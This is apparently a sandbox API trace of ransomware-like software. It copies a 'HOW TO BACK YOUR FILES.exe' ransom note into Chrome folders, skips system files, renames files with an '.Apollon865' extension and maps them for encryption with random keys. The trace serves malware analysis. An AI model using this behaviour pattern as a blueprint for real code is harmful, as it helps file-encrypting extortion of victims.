	[0055.486] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="iedvtool.dll.mui" | out: lpString1="iedvtool.dll.mui") returned="iedvtool.dll.mui"
	[0055.486] lstrlenW (lpString="iedvtool.dll.mui") returned 16
	[0055.486] lstrlenW (lpString="Apollon865") returned 10
	[0055.486] lstrcmpiW (lpString1="ol.dll.mui", lpString2="Apollon865") returned 1
	[0055.486] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="ieinstal.exe.mui" | out: lpString1="ieinstal.exe.mui") returned="ieinstal.exe.mui"
	[0055.486] lstrlenW (lpString="ieinstal.exe.mui") returned 16
	[0055.486] lstrlenW (lpString="Apollon865") returned 10
	[0055.486] lstrcmpiW (lpString1="al.exe.mui", lpString2="Apollon865") returned -1
	[0055.486] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="ielowutil.exe.mui" | out: lpString1="ielowutil.exe.mui") returned="ielowutil.exe.mui"
	[0055.487] lstrlenW (lpString="ielowutil.exe.mui") returned 17
	[0055.487] lstrlenW (lpString="Apollon865") returned 10
	[0055.487] lstrcmpiW (lpString1="il.exe.mui", lpString2="Apollon865") returned 1
	[0055.487] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="iexplore.exe.mui" | out: lpString1="iexplore.exe.mui") returned="iexplore.exe.mui"
	[0055.487] lstrlenW (lpString="iexplore.exe.mui") returned 16
	[0055.487] lstrlenW (lpString="Apollon865") returned 10
	[0055.487] lstrcmpiW (lpString1="re.exe.mui", lpString2="Apollon865") returned 1
	[0055.487] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="jsdbgui.dll.mui" | out: lpString1="jsdbgui.dll.mui") returned="jsdbgui.dll.mui"
	[0055.487] lstrlenW (lpString="jsdbgui.dll.mui") returned 15
	[0055.487] lstrlenW (lpString="Apollon865") returned 10
	[0055.487] lstrcmpiW (lpString1="ui.dll.mui", lpString2="Apollon865") returned 1
	[0055.487] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="jsdebuggeride.dll.mui" | out: lpString1="jsdebuggeride.dll.mui") returned="jsdebuggeride.dll.mui"
	[0055.487] lstrlenW (lpString="jsdebuggeride.dll.mui") returned 21
	[0055.487] lstrlenW (lpString="Apollon865") returned 10
	[0055.487] lstrcmpiW (lpString1="de.dll.mui", lpString2="Apollon865") returned 1
	[0055.487] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="JSProfilerCore.dll.mui" | out: lpString1="JSProfilerCore.dll.mui") returned="JSProfilerCore.dll.mui"
	[0055.487] lstrlenW (lpString="JSProfilerCore.dll.mui") returned 22
	[0055.487] lstrlenW (lpString="Apollon865") returned 10
	[0055.487] lstrcmpiW (lpString1="re.dll.mui", lpString2="Apollon865") returned 1
	[0055.487] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="jsprofilerui.dll.mui" | out: lpString1="jsprofilerui.dll.mui") returned="jsprofilerui.dll.mui"
	[0055.487] lstrlenW (lpString="jsprofilerui.dll.mui") returned 20
	[0055.487] lstrlenW (lpString="Apollon865") returned 10
	[0055.487] lstrcmpiW (lpString1="ui.dll.mui", lpString2="Apollon865") returned 1
	[0055.487] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google"
	[0055.487] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b62c8 | out: hHeap=0x580000) returned 1
	[0055.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0055.488] lstrlenW (lpString="C:\\Program Files (x86)\\Google") returned 29
	[0055.488] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google" | out: lpString1="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google"
	[0055.488] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.488] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.492] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.492] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x39248d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39248d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.492] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.492] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.492] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Chrome" | out: lpString1="Chrome") returned="Chrome"
	[0055.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0055.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bc9b8
	[0055.492] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0055.492] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0055.492] lstrcmpiW (lpString1="CrashReports", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.492] lstrcmpiW (lpString1="CrashReports", lpString2="Apollon865.txt.exe") returned 1
	[0055.492] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="CrashReports" | out: lpString1="CrashReports") returned="CrashReports"
	[0055.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0055.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x5983a8
	[0055.492] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0055.492] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39248d70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39248d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.492] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.493] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39248d70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39248d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0055.493] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0055.493] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7950
	[0055.493] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google\\CrashReports", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google\\CrashReports") returned="C:\\Program Files (x86)\\Google\\CrashReports"
	[0055.493] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0055.493] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0055.493] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\CrashReports") returned 42
	[0055.493] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\CrashReports" | out: lpString1="C:\\Program Files (x86)\\Google\\CrashReports") returned="C:\\Program Files (x86)\\Google\\CrashReports"
	[0055.493] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.493] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\CrashReports\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\crashreports\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.497] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.497] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3926eed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3926eed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.497] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.497] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.498] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google\\Chrome", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome"
	[0055.498] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0055.498] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0055.498] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome") returned 36
	[0055.498] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\Chrome" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome"
	[0055.498] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.498] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.502] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.502] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3926eed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3926eed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.502] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.502] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.502] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="Application" | out: lpString1="Application") returned="Application"
	[0055.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0055.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x5c8f30
	[0055.502] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0055.502] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3926eed0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3926eed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.502] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.502] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3926eed0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3926eed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0055.502] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0055.502] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7930
	[0055.502] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application"
	[0055.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0055.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0055.502] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned 48
	[0055.502] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application"
	[0055.502] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.503] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.510] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.510] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3926eed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3926eed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.510] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.510] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.510] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="58.0.3029.110" | out: lpString1="58.0.3029.110") returned="58.0.3029.110"
	[0055.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0055.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf4e0
	[0055.510] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0055.510] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7344dbd0, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x117358, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1
	[0055.511] lstrcmpiW (lpString1="chrome.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.511] lstrcmpiW (lpString1="chrome.exe", lpString2="Apollon865.txt.exe") returned 1
	[0055.511] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="chrome.exe" | out: lpString1="chrome.exe") returned="chrome.exe"
	[0055.511] lstrlenW (lpString="chrome.exe") returned 10
	[0055.511] lstrlenW (lpString="Apollon865") returned 10
	[0055.511] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="chrome.VisualElementsManifest.xml" | out: lpString1="chrome.VisualElementsManifest.xml") returned="chrome.VisualElementsManifest.xml"
	[0055.511] lstrlenW (lpString="chrome.VisualElementsManifest.xml") returned 33
	[0055.511] lstrlenW (lpString="Apollon865") returned 10
	[0055.511] lstrcmpiW (lpString1="nifest.xml", lpString2="Apollon865") returned 1
	[0055.511] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.Apollon865") returned 93
	[0055.511] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.Apollon865" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml.apollon865"), dwFlags=0x1) returned 1
	[0055.512] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.Apollon865" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0055.512] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=410) returned 1
	[0055.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0055.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0055.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0055.512] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0055.513] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0055.513] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0055.513] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a0, lpName=0x0) returned 0x15c
	[0055.517] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a0) returned 0x120000
	[0055.518] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0055.519] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0055.519] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0055.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0055.519] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0055.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0055.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0055.519] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0055.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0055.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0055.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0055.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0055.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0055.520] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0055.520] CloseHandle (hObject=0x15c) returned 1
	[0055.520] CloseHandle (hObject=0x154) returned 1
	[0055.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0055.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0055.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0055.520] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3926eed0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3926eed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.520] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.520] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 1
	[0055.520] lstrcmpiW (lpString1="SetupMetrics", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.520] lstrcmpiW (lpString1="SetupMetrics", lpString2="Apollon865.txt.exe") returned 1
	[0055.520] lstrcmpiW (lpString1="SetupMetrics", lpString2=".") returned 1
	[0055.520] lstrcmpiW (lpString1="SetupMetrics", lpString2="..") returned 1
	[0055.520] lstrcmpiW (lpString1="SetupMetrics", lpString2="windows") returned -1
	[0055.520] lstrcmpiW (lpString1="SetupMetrics", lpString2="bootmgr") returned 1
	[0055.520] lstrcmpiW (lpString1="SetupMetrics", lpString2="temp") returned -1
	[0055.520] lstrcmpiW (lpString1="SetupMetrics", lpString2="pagefile.sys") returned 1
	[0055.520] lstrcmpiW (lpString1="SetupMetrics", lpString2="boot") returned 1
	[0055.520] lstrcmpiW (lpString1="SetupMetrics", lpString2="ids.txt") returned 1
	[0055.520] lstrcmpiW (lpString1="SetupMetrics", lpString2="ntuser.dat") returned 1
	[0055.521] lstrcmpiW (lpString1="SetupMetrics", lpString2="perflogs") returned 1
	[0055.521] lstrcmpiW (lpString1="SetupMetrics", lpString2="MSBuild") returned 1
	[0055.521] lstrlenW (lpString="SetupMetrics") returned 12
	[0055.521] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml") returned 82
	[0055.521] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="SetupMetrics" | out: lpString1="SetupMetrics") returned="SetupMetrics"
	[0055.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0055.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf788
	[0055.521] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0055.521] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 0
	[0055.521] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0055.521] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7950
	[0055.522] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics"
